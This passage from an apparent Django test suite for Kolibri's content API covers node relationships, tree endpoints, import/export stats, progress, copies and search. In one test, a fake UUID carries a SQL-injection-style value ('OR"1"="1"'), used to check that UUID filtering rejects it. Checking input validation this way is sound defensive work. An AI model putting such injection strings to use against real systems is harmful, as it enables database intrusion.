content.ContentNode.objects.filter(has_prerequisite=c1) self.assertNotEqual(set(actual_output), set(unexpected_output)) def test_get_all_related(self): """ test the nondirectional characteristic of related relationship """ c1 = content.ContentNode.objects.get(title="c1") c2 = content.ContentNode.objects.get(title="c2") # if c1 is related to c2 expected_output = content.ContentNode.objects.filter(title__in=["c2"]) actual_output = content.ContentNode.objects.filter(related=c1) self.assertEqual(set(expected_output), set(actual_output)) # then c2 should be related to c1 expected_output = content.ContentNode.objects.filter(title__in=["c1"]) actual_output = content.ContentNode.objects.filter(related=c2) self.assertEqual(set(expected_output), set(actual_output)) def test_descendants_of_kind(self): p = content.ContentNode.objects.get(title="root") expected_output = content.ContentNode.objects.filter(title__in=["c1"]) actual_output = p.get_descendants(include_self=False).filter( kind=content_kinds.VIDEO ) self.assertEqual(set(expected_output), set(actual_output)) def test_get_top_level_topics(self): p = content.ContentNode.objects.get(title="root") expected_output = content.ContentNode.objects.filter( parent=p, kind=content_kinds.TOPIC ) actual_output = ( content.ContentNode.objects.get(title="root") .get_children() .filter(kind=content_kinds.TOPIC) ) self.assertEqual(set(expected_output), set(actual_output)) def test_tag_str(self): # test for ContentTag __str__ p = content.ContentTag.objects.get(tag_name="tag_2") self.assertEqual(str(p), "tag_2") def test_lang_str(self): # test for Language __str__ p = content.Language.objects.get(lang_code="en") self.assertEqual(str(p), "English-Test") def test_channelmetadata_str(self): # test for ChannelMetadata __str__ p = content.ChannelMetadata.objects.get(name="testing") self.assertEqual(str(p), "testing") def test_tags(self): root_tag_count = content.ContentNode.objects.get(title="root").tags.count() self.assertEqual(root_tag_count, 3) c1_tag_count = content.ContentNode.objects.get(title="c1").tags.count() self.assertEqual(c1_tag_count, 1) c2_tag_count = content.ContentNode.objects.get(title="c2").tags.count() self.assertEqual(c2_tag_count, 1) c2c1_tag_count = content.ContentNode.objects.get(title="c2c1").tags.count() self.assertEqual(c2c1_tag_count, 0) def test_local_files(self): self.assertTrue( content.LocalFile.objects.filter( id="9f9438fe6b0d42dd8e913d7d04cfb2b2" ).exists() ) self.assertTrue( content.LocalFile.objects.filter( id="725257a0570044acbd59f8cf6a68b2be" ).exists() ) self.assertTrue( content.LocalFile.objects.filter( id="e00699f859624e0f875ac6fe1e13d648" ).exists() ) self.assertTrue( content.LocalFile.objects.filter( id="4c30dc7619f74f97ae2ccd4fffd09bf2" ).exists() ) self.assertTrue( content.LocalFile.objects.filter( id="8ad3fffedf144cba9492e16daec1e39a" ).exists() ) def test_delete_tree(self): channel = content.ChannelMetadata.objects.first() channel_id = channel.id channel.delete_content_tree_and_files() self.assertFalse( content.ContentNode.objects.filter(channel_id=channel_id).exists() ) self.assertFalse(content.File.objects.all().exists()) class ContentNodeQuerysetTestCase(TestCase): fixtures = ["content_test.json"] the_channel_id = "6199dde695db4ee4ab392222d5af1e5c" @classmethod def setUpTestData(cls): provision_device() cls.facility = Facility.objects.create(name="facility") cls.admin = FacilityUser.objects.create(username="admin", facility=cls.facility) cls.admin.set_password(DUMMY_PASSWORD) cls.admin.save() cls.facility.add_admin(cls.admin) def test_filter_uuid(self): content_ids = content.ContentNode.objects.values_list("id", flat=True) self.assertEqual( content.ContentNode.objects.filter_by_uuids(content_ids).count(), len(content_ids), ) def test_filter_uuid_bad_uuid(self): content_ids = list(content.ContentNode.objects.values_list("id", flat=True)) content_ids[0] = '7d1bOR"1"="1"d08e29c36115f1af3da99' self.assertEqual( content.ContentNode.objects.filter_by_uuids(content_ids).count(), 0 ) kind_activity_map = { content_kinds.EXERCISE: "practice", content_kinds.VIDEO: "watch", content_kinds.AUDIO: "listen", content_kinds.DOCUMENT: "read", content_kinds.HTML5: "explore", } def infer_learning_activity(kind): activity = kind_activity_map.get(kind) if activity: return [activity] return [] class ContentNodeAPITestCase(APITestCase): """ Testcase for content API methods """ fixtures = ["content_test.json"] the_channel_id = "6199dde695db4ee4ab392222d5af1e5c" @classmethod def setUpTestData(cls): provision_device() cls.facility = Facility.objects.create(name="facility") cls.admin = FacilityUser.objects.create(username="admin", facility=cls.facility) cls.admin.set_password(DUMMY_PASSWORD) cls.admin.save() cls.facility.add_admin(cls.admin) def test_prerequisite_for_filter(self): c1_id = content.ContentNode.objects.get(title="c1").id response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"prerequisite_for": c1_id} ) self.assertEqual(response.data[0]["title"], "root") def test_has_prerequisite_filter(self): root_id = content.ContentNode.objects.get(title="root").id response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"has_prerequisite": root_id} ) self.assertEqual(response.data[0]["title"], "c1") def test_related_filter(self): c1_id = content.ContentNode.objects.get(title="c1").id response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"related": c1_id} ) self.assertEqual(response.data[0]["title"], "c2") def map_language(self, lang): if lang: return { f: getattr(lang, f) for f in [ "id", "lang_code", "lang_subcode", "lang_name", "lang_direction", ] } def _assert_node(self, actual, expected): assessmentmetadata = ( expected.assessmentmetadata.all() .values( "assessment_item_ids", "number_of_assessments", "mastery_model", "randomize", "is_manipulable", "contentnode", ) .first() ) files = [] for f in expected.files.all(): "local_file__id", "local_file__available", "local_file__file_size", "local_file__extension", "lang_id", file = {} for field in [ "id", "priority", "preset", "supplementary", "thumbnail", ]: file[field] = getattr(f, field) file["checksum"] = f.local_file_id for field in [ "available", "file_size", "extension", ]: file[field] = getattr(f.local_file, field) file["lang"] = self.map_language(f.lang) file["storage_url"] = f.get_storage_url() files.append(file) self.assertEqual( actual, { "id": expected.id, "available": expected.available, "author": expected.author, "channel_id": expected.channel_id, "coach_content": expected.coach_content, "content_id": expected.content_id, "description": expected.description, "duration": None, "learning_activities": infer_learning_activity(expected.kind), "kind": expected.kind, "lang": self.map_language(expected.lang), "license_description": expected.license_description, "license_name": expected.license_name, "license_owner": expected.license_owner, "num_coach_contents": expected.num_coach_contents, "options": expected.options, "parent": expected.parent_id, "sort_order": expected.sort_order, "title": expected.title, "lft": expected.lft, "rght": expected.rght, "tree_id": expected.tree_id, "ancestors": list(expected.get_ancestors().values("id", "title")), "tags": list( expected.tags.all() .order_by("tag_name") .values_list("tag_name", flat=True) ), "assessmentmetadata": assessmentmetadata, "is_leaf": expected.kind != "topic", "files": files, }, ) def _assert_nodes(self, data, nodes): for actual, expected in zip(data, nodes): self._assert_node(actual, expected) def test_contentnode_list(self): root = content.ContentNode.objects.get(title="root") nodes = root.get_descendants(include_self=True).filter(available=True) expected_output = len(nodes) response = self.client.get(reverse("kolibri:core:contentnode-list")) self.assertEqual(len(response.data), expected_output) self._assert_nodes(response.data, nodes) @unittest.skipIf( getattr(settings, "DATABASES")["default"]["ENGINE"] == "django.db.backends.postgresql", "Skipping postgres as not as vulnerable to large queries and large insertions are less performant", ) def test_contentnode_list_long(self): # This will make > 1000 nodes which should test our ancestor batching behaviour builder = ChannelBuilder(num_children=10) builder.insert_into_default_db() content.ContentNode.objects.update(available=True) nodes = content.ContentNode.objects.filter(available=True) expected_output = len(nodes) self.assertGreater(expected_output, 1000) response = self.client.get(reverse("kolibri:core:contentnode-list")) self.assertEqual(len(response.data), expected_output) self._assert_nodes(response.data, nodes) def _recurse_and_assert(self, data, nodes, recursion_depth=0): for actual, expected in zip(data, nodes): children = actual.pop("children", None) self._assert_node(actual, expected) if children: child_nodes = content.ContentNode.objects.filter( available=True, parent=expected ) if children["more"] is None: self.assertEqual(len(child_nodes), len(children["results"])) else: self.assertGreater(len(child_nodes), len(children["results"])) self.assertEqual(children["more"]["id"], expected.id) self.assertEqual( children["more"]["params"]["lft__gt"], child_nodes[24].rght ) self.assertEqual( children["more"]["params"]["depth"], 2 - recursion_depth ) self._recurse_and_assert( children["results"], child_nodes, recursion_depth=recursion_depth + 1, ) def test_contentnode_tree(self): root = content.ContentNode.objects.get(title="root") response = self.client.get( reverse("kolibri:core:contentnode_tree-detail", kwargs={"pk": root.id}) ) self._recurse_and_assert([response.data], [root]) @unittest.skipIf( getattr(settings, "DATABASES")["default"]["ENGINE"] == "django.db.backends.postgresql", "Skipping postgres as not as vulnerable to large queries and large insertions are less performant", ) def test_contentnode_tree_long(self): builder = ChannelBuilder(levels=2, num_children=30) builder.insert_into_default_db() content.ContentNode.objects.all().update(available=True) root = content.ContentNode.objects.get(id=builder.root_node["id"]) response = self.client.get( reverse("kolibri:core:contentnode_tree-detail", kwargs={"pk": root.id}) ) self._recurse_and_assert([response.data], [root]) def test_contentnode_tree_depth_1(self): root = content.ContentNode.objects.get(title="root") response = self.client.get( reverse("kolibri:core:contentnode_tree-detail", kwargs={"pk": root.id}), data={"depth": 1}, ) self._recurse_and_assert([response.data], [root]) @unittest.skipIf( getattr(settings, "DATABASES")["default"]["ENGINE"] == "django.db.backends.postgresql", "Skipping postgres as not as vulnerable to large queries and large insertions are less performant", ) def test_contentnode_tree_lft__gt(self): builder = ChannelBuilder(levels=2, num_children=30) builder.insert_into_default_db() content.ContentNode.objects.all().update(available=True) root = content.ContentNode.objects.get(id=builder.root_node["id"]) lft__gt = content.ContentNode.objects.filter(parent=root)[24].rght response = self.client.get( reverse("kolibri:core:contentnode_tree-detail", kwargs={"pk": root.id}), data={"lft__gt": lft__gt}, ) self.assertEqual(len(response.data["children"]["results"]), 5) self.assertIsNone(response.data["children"]["more"]) first_node = content.ContentNode.objects.filter(parent=root)[25] self._recurse_and_assert( [response.data["children"]["results"][0]], [first_node], recursion_depth=1 ) @unittest.skipIf( getattr(settings, "DATABASES")["default"]["ENGINE"] == "django.db.backends.postgresql", "Skipping postgres as not as vulnerable to large queries and large insertions are less performant", ) def test_contentnode_tree_more(self): builder = ChannelBuilder(levels=2, num_children=30) builder.insert_into_default_db() content.ContentNode.objects.all().update(available=True) root = content.ContentNode.objects.get(id=builder.root_node["id"]) response = self.client.get( reverse("kolibri:core:contentnode_tree-detail", kwargs={"pk": root.id}) ) first_child = response.data["children"]["results"][0] self.assertEqual(first_child["children"]["more"]["params"]["depth"], 1) nested_page_response = self.client.get( reverse( "kolibri:core:contentnode_tree-detail", kwargs={"pk": first_child["children"]["more"]["id"]}, ), data=first_child["children"]["more"]["params"], ) self.assertEqual(len(nested_page_response.data["children"]["results"]), 5) self.assertIsNone(nested_page_response.data["children"]["more"]) @mock.patch("kolibri.core.content.api.get_channel_stats_from_studio") def test_contentnode_granular_network_import(self, stats_mock): c1 = content.ContentNode.objects.get(title="root") c1_id = c1.id c2_id = content.ContentNode.objects.get(title="c1").id c3_id = content.ContentNode.objects.get(title="c2").id content.ContentNode.objects.all().update(available=False) stats = { c1_id: { "total_resources": 2, "coach_content": False, "num_coach_contents": 0, }, c2_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, c3_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, } stats_mock.return_value = stats response = self.client.get( reverse("kolibri:core:contentnode_granular-detail", kwargs={"pk": c1_id}) ) self.assertEqual( response.data, { "id": c1_id, "title": "root", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 2, "on_device_resources": 0, "coach_content": False, "importable": True, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, "ancestors": list(c1.get_ancestors().values("id", "title")), "children": [ { "id": c2_id, "title": "c1", "kind": "video", "is_leaf": True, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, { "id": c3_id, "title": "c2", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, ], }, ) @mock.patch("kolibri.core.content.api.get_channel_stats_from_disk") def test_contentnode_granular_local_import(self, stats_mock): content.LocalFile.objects.update(available=False) content.ContentNode.objects.update(available=False) c1 = content.ContentNode.objects.get(title="root") c1_id = c1.id c2_id = content.ContentNode.objects.get(title="c1").id c3_id = content.ContentNode.objects.get(title="c2").id stats = { c1_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, c3_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, } stats_mock.return_value = stats response = self.client.get( reverse("kolibri:core:contentnode_granular-detail", kwargs={"pk": c1_id}), {"importing_from_drive_id": "123"}, ) self.assertEqual( response.data, { "id": c1_id, "title": "root", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, "ancestors": list(c1.get_ancestors().values("id", "title")), "children": [ { "id": c2_id, "title": "c1", "kind": "video", "is_leaf": True, "available": False, "total_resources": 0, "on_device_resources": 0, "importable": False, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, { "id": c3_id, "title": "c2", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, ], }, ) @mock.patch("kolibri.core.content.api.get_channel_stats_from_peer") def test_contentnode_granular_remote_import(self, stats_mock): content.LocalFile.objects.update(available=False) content.ContentNode.objects.update(available=False) c1 = content.ContentNode.objects.get(title="root") c1_id = c1.id c2_id = content.ContentNode.objects.get(title="c1").id c3_id = content.ContentNode.objects.get(title="c2").id stats = { c1_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, c3_id: { "total_resources": 1, "coach_content": False, "num_coach_contents": 0, }, } stats_mock.return_value = stats response = self.client.get( reverse("kolibri:core:contentnode_granular-detail", kwargs={"pk": c1_id}), {"importing_from_peer_id": "test"}, ) self.assertEqual( response.data, { "id": c1_id, "title": "root", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, "ancestors": list(c1.get_ancestors().values("id", "title")), "children": [ { "id": c2_id, "title": "c1", "kind": "video", "is_leaf": True, "available": False, "total_resources": 0, "on_device_resources": 0, "importable": False, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, { "id": c3_id, "title": "c2", "kind": "topic", "is_leaf": False, "available": False, "total_resources": 1, "on_device_resources": 0, "importable": True, "coach_content": False, "num_coach_contents": 0, "new_resource": False, "num_new_resources": 0, "updated_resource": False, }, ], }, ) def test_contentnode_granular_export_available(self): c1 = content.ContentNode.objects.get(title="c1") c1_id = c1.id content.ContentNode.objects.filter(title="c1").update(on_device_resources=1) response = self.client.get( reverse("kolibri:core:contentnode_granular-detail", kwargs={"pk": c1_id}), data={"for_export": True}, ) self.assertEqual( response.data, { "id": c1_id, "title": "c1", "kind": "video", "is_leaf": True, "available": True, "total_resources": 1, "on_device_resources": 1, "importable": None, "children": [], "coach_content": False, "num_coach_contents": 0, "new_resource": None, "num_new_resources": None, "updated_resource": None, "ancestors": list(c1.get_ancestors().values("id", "title")), }, ) def test_contentnode_granular_export_unavailable(self): c1 = content.ContentNode.objects.get(title="c1") c1_id = c1.id content.ContentNode.objects.filter(title="c1").update(available=False) response = self.client.get( reverse("kolibri:core:contentnode_granular-detail", kwargs={"pk": c1_id}), data={"for_export": True}, ) self.assertEqual( response.data, { "id": c1_id, "title": "c1", "kind": "video", "is_leaf": True, "available": False, "total_resources": 0, "on_device_resources": 0, "importable": None, "children": [], "coach_content": False, "num_coach_contents": 0, "new_resource": None, "num_new_resources": None, "updated_resource": None, "ancestors": list(c1.get_ancestors().values("id", "title")), }, ) def test_contentnode_retrieve(self): c1_id = content.ContentNode.objects.get(title="c1").id response = self.client.get( reverse("kolibri:core:contentnode-detail", kwargs={"pk": c1_id}) ) self.assertEqual(response.data["id"], c1_id.__str__()) def test_contentnode_descendants_assessments_exercise_node(self): c1 = content.ContentNode.objects.filter(kind=content_kinds.EXERCISE).first() c1_id = c1.id response = self.client.get( reverse("kolibri:core:contentnode-descendants-assessments"), data={"ids": c1_id}, ) self.assertEqual( next( item["num_assessments"] for item in response.data if item["id"] == c1_id ), c1.assessmentmetadata.first().number_of_assessments, ) def test_contentnode_descendants_assessments_exercise_parent(self): c1 = content.ContentNode.objects.filter(kind=content_kinds.EXERCISE).first() parent = c1.parent parent_id = parent.id response = self.client.get( reverse("kolibri:core:contentnode-descendants-assessments"), data={"ids": parent_id}, ) self.assertEqual( next( item["num_assessments"] for item in response.data if item["id"] == parent_id ), c1.assessmentmetadata.first().number_of_assessments, ) def test_contentnode_descendants_assessments_exercise_root(self): c1 = content.ContentNode.objects.filter(kind=content_kinds.EXERCISE).first() root = content.ContentNode.objects.get(parent__isnull=True) root_id = root.id response = self.client.get( reverse("kolibri:core:contentnode-descendants-assessments"), data={"ids": root_id}, ) self.assertEqual( next( item["num_assessments"] for item in response.data if item["id"] == root_id ), c1.assessmentmetadata.first().number_of_assessments, ) def test_contentnode_descendants_assessments_exercise_parent_sum_siblings(self): c1 = content.ContentNode.objects.filter(kind=content_kinds.EXERCISE).first() parent = c1.parent parent_id = parent.id sibling = content.ContentNode.objects.create( pk="6a406ac66b224106aa2e93f73a94333d", channel_id=c1.channel_id, content_id="ded4a083e75f4689b386fd2b706e792a", kind=content_kinds.EXERCISE, parent=parent, title="sibling exercise", available=True, ) sibling_assessment_metadata = content.AssessmentMetaData.objects.create( id="6a406ac66b224106aa2e93f73a94333d", contentnode=sibling, number_of_assessments=5, ) response = self.client.get( reverse("kolibri:core:contentnode-descendants-assessments"), data={"ids": parent_id}, ) self.assertEqual( next( item["num_assessments"] for item in response.data if item["id"] == parent_id ), c1.assessmentmetadata.first().number_of_assessments + sibling_assessment_metadata.number_of_assessments, ) def test_contentnode_descendants_assessments_exercise_parent_sum_siblings_one_unavailable( self, ): c1 = content.ContentNode.objects.filter(kind=content_kinds.EXERCISE).first() c1.available = False c1.save() parent = c1.parent parent_id = parent.id sibling = content.ContentNode.objects.create( pk="6a406ac66b224106aa2e93f73a94333d", channel_id=c1.channel_id, content_id="ded4a083e75f4689b386fd2b706e792a", kind=content_kinds.EXERCISE, parent=parent, title="sibling exercise", available=True, ) sibling_assessment_metadata = content.AssessmentMetaData.objects.create( id="6a406ac66b224106aa2e93f73a94333d", contentnode=sibling, number_of_assessments=5, ) response = self.client.get( reverse("kolibri:core:contentnode-descendants-assessments"), data={"ids": parent_id}, ) self.assertEqual( next( item["num_assessments"] for item in response.data if item["id"] == parent_id ), sibling_assessment_metadata.number_of_assessments, ) def test_contentnode_descendants_topic_siblings_ancestor_ids(self): root = content.ContentNode.objects.get(parent__isnull=True) topics = content.ContentNode.objects.filter( parent=root, kind=content_kinds.TOPIC ) topic_ids = topics.values_list("id", flat=True) response = self.client.get( reverse("kolibri:core:contentnode-descendants"), data={"ids": ",".join(topic_ids)}, ) for datum in response.data: topic = topics.get(id=datum["ancestor_id"]) self.assertTrue(topic.get_descendants().filter(id=datum["id"]).exists()) def test_contentnode_descendants_topic_siblings_kind_filter(self): root = content.ContentNode.objects.get(parent__isnull=True) topics = content.ContentNode.objects.filter( parent=root, kind=content_kinds.TOPIC ) topic_ids = topics.values_list("id", flat=True) response = self.client.get( reverse("kolibri:core:contentnode-descendants"), data={ "ids": ",".join(topic_ids), "descendant_kind": content_kinds.EXERCISE, }, ) for datum in response.data: topic = topics.get(id=datum["ancestor_id"]) self.assertTrue( topic.get_descendants() .filter(id=datum["id"], kind=content_kinds.EXERCISE) .exists() ) def test_contentnode_descendants_topic_parent_child_ancestor_ids(self): root = content.ContentNode.objects.get(parent__isnull=True) topic = content.ContentNode.objects.filter( parent=root, kind=content_kinds.TOPIC, children__isnull=False ).first() response = self.client.get( reverse("kolibri:core:contentnode-descendants"), data={"ids": ",".join((root.id, topic.id))}, ) topic_items = [ datum for datum in response.data if datum["ancestor_id"] == topic.id ] for node in topic.get_descendants(include_self=False).filter(available=True): self.assertTrue(next(item for item in topic_items if item["id"] == node.id)) root_items = [ datum for datum in response.data if datum["ancestor_id"] == root.id ] for node in root.get_descendants(include_self=False).filter(available=True): self.assertTrue(next(item for item in root_items if item["id"] == node.id)) def test_contentnode_descendants_availability(self): content.ContentNode.objects.all().update(available=False) root = content.ContentNode.objects.get(parent__isnull=True) topics = content.ContentNode.objects.filter( parent=root, kind=content_kinds.TOPIC ) topic_ids = topics.values_list("id", flat=True) response = self.client.get( reverse("kolibri:core:contentnode-descendants"), data={"ids": ",".join(topic_ids)}, ) self.assertEqual(len(response.data), 0) def test_contentnode_node_assessments_available(self): content.ContentNode.objects.all().update(available=True) root = content.ContentNode.objects.get(parent__isnull=True) exercise_ids = ( root.get_descendants() .filter(kind=content_kinds.EXERCISE) .values_list("id", flat=True) ) response = self.client.get( reverse("kolibri:core:contentnode-node-assessments"), data={"ids": ",".join(exercise_ids)}, ) self.assertEqual(response.data, 1) def test_contentnode_node_assessments_not_available(self): content.ContentNode.objects.all().update(available=False) root = content.ContentNode.objects.get(parent__isnull=True) exercise_ids = ( root.get_descendants() .filter(kind=content_kinds.EXERCISE) .values_list("id", flat=True) ) response = self.client.get( reverse("kolibri:core:contentnode-node-assessments"), data={"ids": ",".join(exercise_ids)}, ) self.assertEqual(response.data, 0) def test_contentnode_recommendations(self): node_id = content.ContentNode.objects.get(title="c2c2").id response = self.client.get( reverse( "kolibri:core:contentnode-recommendations-for", kwargs={"pk": node_id} ) ) self.assertEqual(len(response.data), 2) def test_contentnode_recommendations_does_error_for_unavailable_node(self): node = content.ContentNode.objects.get(title="c2c2") node.available = False node.save() node_id = node.id response = self.client.get( reverse( "kolibri:core:contentnode-recommendations-for", kwargs={"pk": node_id} ) ) self.assertEqual(response.status_code, 404) def test_contentnode_ids(self): titles = ["c2c2", "c2c3"] nodes = [content.ContentNode.objects.get(title=title) for title in titles] response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"ids": ",".join([n.id for n in nodes])}, ) self.assertEqual(len(response.data), 2) for i in range(len(titles)): self.assertEqual(response.data[i]["title"], titles[i]) def test_contentnode_parent(self): parent = content.ContentNode.objects.get(title="c2") children = parent.get_children() response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"parent": parent.id, "include_coach_content": False}, ) self.assertEqual(len(response.data), children.count()) for i in range(len(children)): self.assertEqual(response.data[i]["title"], children[i].title) def test_contentnode_tags(self): expected = { "root": ["tag_1", "tag_2", "tag_3"], "c1": ["tag_1"], "c2": ["tag_2"], } for title, tags in expected.items(): node = content.ContentNode.objects.get(title=title) response = self.client.get( reverse("kolibri:core:contentnode-detail", kwargs={"pk": node.id}) ) self.assertEqual(set(response.data["tags"]), set(tags)) def test_channelmetadata_list(self): response = self.client.get(reverse("kolibri:core:channel-list", kwargs={})) self.assertEqual(response.data[0]["name"], "testing") def test_channelmetadata_retrieve(self): data = content.ChannelMetadata.objects.values()[0] response = self.client.get( reverse("kolibri:core:channel-detail", kwargs={"pk": data["id"]}) ) self.assertEqual(response.data["name"], "testing") def test_channelmetadata_langfield(self): data = content.ChannelMetadata.objects.first() root_lang = content.Language.objects.get(pk=1) data.root.lang = root_lang data.root.save() response = self.client.get( reverse("kolibri:core:channel-detail", kwargs={"pk": data.id}) ) self.assertEqual(response.data["lang_code"], root_lang.lang_code) self.assertEqual(response.data["lang_name"], root_lang.lang_name) def test_channelmetadata_langfield_none(self): data = content.ChannelMetadata.objects.first() response = self.client.get( reverse("kolibri:core:channel-detail", kwargs={"pk": data.id}) ) self.assertEqual(response.data["lang_code"], None) self.assertEqual(response.data["lang_name"], None) def test_channelmetadata_content_available_param_filter_lowercase_true(self): response = self.client.get( reverse("kolibri:core:channel-list"), {"available": "true"} ) self.assertEqual(response.data[0]["id"], "6199dde695db4ee4ab392222d5af1e5c") def test_channelmetadata_content_available_param_filter_uppercase_true(self): response = self.client.get( reverse("kolibri:core:channel-list"), {"available": True} ) self.assertEqual(response.data[0]["id"], "6199dde695db4ee4ab392222d5af1e5c") def test_channelmetadata_content_unavailable_param_filter_false(self): content.ContentNode.objects.filter(title="root").update(available=False) response = self.client.get( reverse("kolibri:core:channel-list"), {"available": False} ) self.assertEqual(response.data[0]["id"], "6199dde695db4ee4ab392222d5af1e5c") def test_channelmetadata_content_available_field_true(self): response = self.client.get(reverse("kolibri:core:channel-list")) self.assertEqual(response.data[0]["available"], True) def test_channelmetadata_content_available_field_false(self): content.ContentNode.objects.filter(title="root").update(available=False) response = self.client.get(reverse("kolibri:core:channel-list")) self.assertEqual(response.data[0]["available"], False) def test_channelmetadata_has_exercises_filter(self): # Has nothing else for that matter... no_exercise_channel = content.ContentNode.objects.create( pk="6a406ac66b224106aa2e93f73a94333d", channel_id="f8ec4a5d14cd4716890999da596032d2", content_id="ded4a083e75f4689b386fd2b706e792a", kind="topic", title="no exercise channel", ) content.ChannelMetadata.objects.create( id="63acff41781543828861ade41dbdd7ff", name="no exercise channel metadata", root=no_exercise_channel, ) no_filter_response = self.client.get(reverse("kolibri:core:channel-list")) self.assertEqual(len(no_filter_response.data), 2) with_filter_response = self.client.get( reverse("kolibri:core:channel-list"), {"has_exercise": True} ) self.assertEqual(len(with_filter_response.data), 1) self.assertEqual(with_filter_response.data[0]["name"], "testing") def test_file_list(self): response = self.client.get(reverse("kolibri:core:file-list")) self.assertEqual(len(response.data), 5) def test_file_retrieve(self): response = self.client.get( reverse( "kolibri:core:file-detail", kwargs={"pk": "6bdfea4a01830fdd4a585181c0b8068c"}, ) ) self.assertEqual(response.data["preset"], "high_res_video") def _setup_contentnode_progress(self): # set up data for testing progress_fraction field on content node endpoint facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="learner", facility=facility) user.set_password("pass") user.save() root = content.ContentNode.objects.get(title="root") c1 = content.ContentNode.objects.get(title="c1") c2 = content.ContentNode.objects.get(title="c2") c2c1 = content.ContentNode.objects.get(title="c2c1") c2c3 = content.ContentNode.objects.get(title="c2c3") for node, progress in [(c2c1, 0.7), (c2c3, 0.5)]: ContentSummaryLog.objects.create( user=user, content_id=node.content_id, progress=progress, channel_id=self.the_channel_id, start_timestamp=datetime.datetime.now(), ) return facility, root, c1, c2, c2c1, c2c3 def test_contentnode_progress_detail_endpoint(self): facility, root, c1, c2, c2c1, c2c3 = self._setup_contentnode_progress() def assert_progress(node, progress): response = self.client.get( reverse( "kolibri:core:contentnodeprogress-detail", kwargs={"pk": node.id} ) ) self.assertEqual(response.data["progress_fraction"], progress) # check that there is no progress when not logged in assert_progress(root, 0) assert_progress(c1, 0) assert_progress(c2, 0) assert_progress(c2c1, 0) # check that progress is calculated appropriately when user is logged in self.client.login(username="learner", password="pass", facility=facility) # The progress endpoint is used, so should report progress for topics assert_progress(root, 0.24) assert_progress(c1, 0) assert_progress(c2, 0.4) assert_progress(c2c1, 0.7) def test_contentnode_progress_list_endpoint(self): facility, root, c1, c2, c2c1, c2c3 = self._setup_contentnode_progress() response = self.client.get(reverse("kolibri:core:contentnodeprogress-list")) def get_progress_fraction(node): return list(filter(lambda x: x["id"] == node.id, response.data))[0][ "progress_fraction" ] # check that there is no progress when not logged in self.assertEqual(get_progress_fraction(root), 0) self.assertEqual(get_progress_fraction(c1), 0) self.assertEqual(get_progress_fraction(c2), 0) self.assertEqual(get_progress_fraction(c2c1), 0) # check that progress is calculated appropriately when user is logged in self.client.login(username="learner", password="pass", facility=facility) response = self.client.get(reverse("kolibri:core:contentnodeprogress-list")) # The progress endpoint is used, so should report progress for topics self.assertEqual(get_progress_fraction(root), 0.24) self.assertEqual(get_progress_fraction(c1), 0) self.assertEqual(get_progress_fraction(c2), 0.4) self.assertEqual(get_progress_fraction(c2c1), 0.7) def test_filtering_coach_content_anon(self): response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"include_coach_content": False}, ) # TODO make content_test.json fixture more organized. Here just, hardcoding the correct count self.assertEqual(len(response.data), 7) def test_filtering_coach_content_admin(self): self.client.login(username=self.admin.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-list"), data={"include_coach_content": True}, ) expected_output = content.ContentNode.objects.exclude( available=False ).count() # coach_content node should be returned self.assertEqual(len(response.data), expected_output) def test_copies(self): # the pk is actually a content id response = self.client.get( reverse( "kolibri:core:contentnode-copies", kwargs={"pk": "c6f49ea527824f398f4d5d26faf19396"}, ) ) expected_titles = set(["root", "c1", "copy"]) response_titles = set() for node in response.data[0]: response_titles.add(node["title"]) self.assertSetEqual(expected_titles, response_titles) def test_available_copies(self): # the pk is actually a content id response = self.client.get( reverse( "kolibri:core:contentnode-copies", kwargs={"pk": "f2332710c2fd483386cdeb5dcbdda81a"}, ) ) # no results should be returned for unavailable content node self.assertEqual(len(response.data), 0) def test_copies_count(self): response = self.client.get( reverse("kolibri:core:contentnode-copies-count"), data={ "content_ids": "f2332710c2fd483386cdeb5dcbdda81f,c6f49ea527824f398f4d5d26faf15555,f2332710c2fd483386cdeb5dcbdda81a" }, ) # assert non existent content id does not show up in results # no results should be returned for unavailable content node self.assertEqual(len(response.data), 1) self.assertEqual( response.data[0]["count"], content.ContentNode.objects.filter( content_id="f2332710c2fd483386cdeb5dcbdda81f" ).count(), ) def test_search_total_results(self): response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "root"} ) self.assertEqual(response.data["total_results"], 1) def test_search_kinds(self): response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "root"} ) self.assertEqual(list(response.data["content_kinds"]), [content_kinds.TOPIC]) def test_search_repeated_kinds(self): # Ensure that each kind is only returned once. response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "c"} ) kinds = response.data["content_kinds"][:] self.assertEqual(len(kinds), len(set(kinds))) def test_search_channels(self): response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "root"} ) 